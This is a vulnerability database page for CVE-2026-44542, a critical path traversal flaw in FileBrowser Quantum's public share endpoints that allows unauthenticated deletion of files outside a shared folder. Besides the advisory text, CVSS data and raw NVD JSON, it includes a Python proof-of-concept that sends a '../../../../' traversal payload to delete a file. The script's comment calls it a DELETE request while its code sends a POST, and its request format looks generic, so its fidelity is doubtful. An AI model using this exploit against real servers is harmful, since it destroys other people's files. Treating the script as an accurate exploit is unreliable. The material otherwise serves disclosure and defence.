CVE-2026-44542

Description

FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FileBrowser Quantum < 1.3.1-stable

FileBrowser Quantum < 1.3.9-beta

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://localhost:8080"
public_share_hash = "VALID_PUBLIC_SHARE_HASH_HERE" 

# The vulnerable endpoint for deleting resources
url = f"{target_host}/public/api/resources"

# Headers simulating an unauthenticated user with a share hash
headers = {
    "X-Share-Hash": public_share_hash,
    "Content-Type": "application/json"
}

# Payload demonstrating path traversal
# The attacker inputs "../../sensitive_config.ini" to escape the shared folder
payload = {
    "items": [
        {
            "path": "../../../../sensitive_config.ini",
            "action": "delete"
        }
    ]
}

try:
    # Sending the DELETE request to exploit the vulnerability
    response = requests.post(url, json=payload, headers=headers)
    
    if response.status_code == 200:
        print("[+] Exploit successful! File deleted.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(f"Response: {response.text}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44542
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44542
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44542/
[4] VulDB https://vuldb.com/cve/CVE-2026-44542
[5] https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44542", "sourceIdentifier": "[email protected]", "published": "2026-05-14T18:16:50.157", "lastModified": "2026-05-14T18:26:39.827", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673", "source": "[email protected]"}]}}